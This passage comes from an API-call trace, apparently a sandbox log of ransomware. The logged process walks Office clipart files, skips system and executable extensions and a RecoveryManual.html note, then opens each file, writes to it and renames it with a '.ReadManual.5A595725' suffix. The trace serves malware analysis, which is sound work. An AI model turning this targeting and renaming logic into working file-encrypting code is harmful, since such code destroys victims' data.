Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" [0271.376] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.ReadManual.5A595725" [0271.376] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.ReadManual.5A595725") returned 87 [0271.376] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39204658206) returned 1 [0271.378] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf")) returned 0x20 [0271.378] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.378] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30432) returned 1 [0271.378] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x76e0, lpName=0x0) returned 0x184 [0271.378] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.380] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.380] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.382] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.382] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x76e0) returned 0x2f0000 [0271.382] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.383] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39205134113) returned 1 [0271.383] CloseHandle (hObject=0x184) returned 1 [0271.383] SetSecurityInfo () returned 0x57 [0271.383] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.383] CloseHandle (hObject=0x194) returned 1 [0271.383] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0271.383] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02293_.WMF" | out: lpString1="PE02293_.WMF") returned="PE02293_.WMF" [0271.383] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.383] StrStrIW (lpFirst="PE02293_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.383] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.383] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.383] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" [0271.384] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.ReadManual.5A595725" [0271.384] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.ReadManual.5A595725") returned 87 [0271.384] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39205235825) returned 1 [0271.384] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf")) returned 0x20 [0271.384] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.384] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22608) returned 1 [0271.384] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5850, lpName=0x0) returned 0x184 [0271.384] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.385] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.385] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.398] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.398] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5850) returned 0x2f0000 [0271.398] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.398] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39206722561) returned 1 [0271.399] CloseHandle (hObject=0x184) returned 1 [0271.399] SetSecurityInfo () returned 0x57 [0271.399] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.399] CloseHandle (hObject=0x194) returned 1 [0271.399] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0271.403] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02296_.WMF" | out: lpString1="PE02296_.WMF") returned="PE02296_.WMF" [0271.403] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.403] StrStrIW (lpFirst="PE02296_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.403] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.403] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.404] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.404] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" [0271.404] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.ReadManual.5A595725" [0271.404] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.ReadManual.5A595725") returned 87 [0271.404] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39207240582) returned 1 [0271.404] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf")) returned 0x20 [0271.404] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.405] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21288) returned 1 [0271.405] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5328, lpName=0x0) returned 0x184 [0271.405] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.406] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.406] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.408] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.408] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5328) returned 0x2f0000 [0271.408] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.408] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39207697246) returned 1 [0271.408] CloseHandle (hObject=0x184) returned 1 [0271.408] SetSecurityInfo () returned 0x57 [0271.408] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.408] CloseHandle (hObject=0x194) returned 1 [0271.409] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0271.409] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02369_.WMF" | out: lpString1="PE02369_.WMF") returned="PE02369_.WMF" [0271.409] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.409] StrStrIW (lpFirst="PE02369_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.409] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.409] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.409] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" [0271.409] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.ReadManual.5A595725" [0271.409] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.ReadManual.5A595725") returned 87 [0271.409] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39207791382) returned 1 [0271.409] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf")) returned 0x20 [0271.409] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.410] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2240) returned 1 [0271.410] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x184 [0271.410] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.411] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.411] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.412] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.413] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x2f0000 [0271.413] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39208160772) returned 1 [0271.413] CloseHandle (hObject=0x184) returned 1 [0271.413] SetSecurityInfo () returned 0x57 [0271.413] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.413] CloseHandle (hObject=0x194) returned 1 [0271.413] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0271.413] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02522_.WMF" | out: lpString1="PE02522_.WMF") returned="PE02522_.WMF" [0271.413] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.413] StrStrIW (lpFirst="PE02522_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.413] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.413] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.414] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.414] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.414] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.414] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.414] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.414] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.414] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" [0271.414] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.ReadManual.5A595725" [0271.414] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.ReadManual.5A595725") returned 87 [0271.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39208254140) returned 1 [0271.414] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf")) returned 0x20 [0271.414] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.414] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14840) returned 1 [0271.414] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39f8, lpName=0x0) returned 0x184 [0271.415] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.416] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.416] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.418] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.418] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39f8) returned 0x2f0000 [0271.418] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.418] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39208697200) returned 1 [0271.418] CloseHandle (hObject=0x184) returned 1 [0271.418] SetSecurityInfo () returned 0x57 [0271.418] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.418] CloseHandle (hObject=0x194) returned 1 [0271.419] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0271.419] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02950_.WMF" | out: lpString1="PE02950_.WMF") returned="PE02950_.WMF" [0271.419] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.419] StrStrIW (lpFirst="PE02950_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.419] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.419] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.419] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" [0271.419] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.ReadManual.5A595725" [0271.419] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.ReadManual.5A595725") returned 87 [0271.419] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39208788098) returned 1 [0271.419] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf")) returned 0x20 [0271.419] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.420] GetFileSizeEx (in: 